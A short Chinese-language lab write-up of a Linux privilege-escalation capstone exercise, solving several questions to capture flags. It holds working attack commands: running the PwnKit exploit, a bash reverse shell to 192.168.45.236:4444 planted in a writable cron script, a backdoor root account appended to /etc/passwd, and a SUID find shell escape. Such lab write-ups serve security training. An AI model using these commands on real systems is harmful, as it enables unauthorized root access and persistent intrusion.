Linux 提權 Capstone Exercise
Linux 提權 Capstone Exercise Q2 : 透過下載這個 PwnKit https://github.com/ly4k/PwnKit ,上傳到目標機 然後利用手動的方式執行如下 直接就提權拿到 root 與拿 flag Q3 : cat /var/log/cron.log 發現一直在跑一個 archiver find / -type f -name archiver 2>/dev/null 路徑在 /etc/cron.hourly/archiver ls -lah /etc/cron.hourly/archiver --> GG 沒權限 cat /etc/cron.hourly/archiver 看一下內容發現會去跑 /var/archives/archive.sh ls -lah /var/archives/archive.sh --> 777 賓果 寫一行吧 bash -c "bash -i >& /dev/tcp/192.168.45.236/4444 0>&1" 4444 來了,whoami & id 確認是 root,直接拿答案吧 Q4 : 經過一番枚舉發現 /etc/passwd 有寫入的權限,那就標準作業 openssl passwd w00t --> 5RuYtykGkkWWc 寫入 root2 : echo "root2:5RuYtykGkkWWc:0:0:root:/root:/bin/bash" >> /etc/passwd cat /etc/passwd 確認寫入 root2 su root2 輸入 w00t 看一下 whoami & id 拿 flag 吧 Q5 : 經過一番枚舉在查找特殊權限 s 的時候如下 find / -perm -u=s -type f 2>/dev/null 一個一個嘗試 SUID 後在 find 指令發現可以提權 ./find . -exec /bin/sh -p \; -quit whoami 確認一下是 root 後直接拿 flag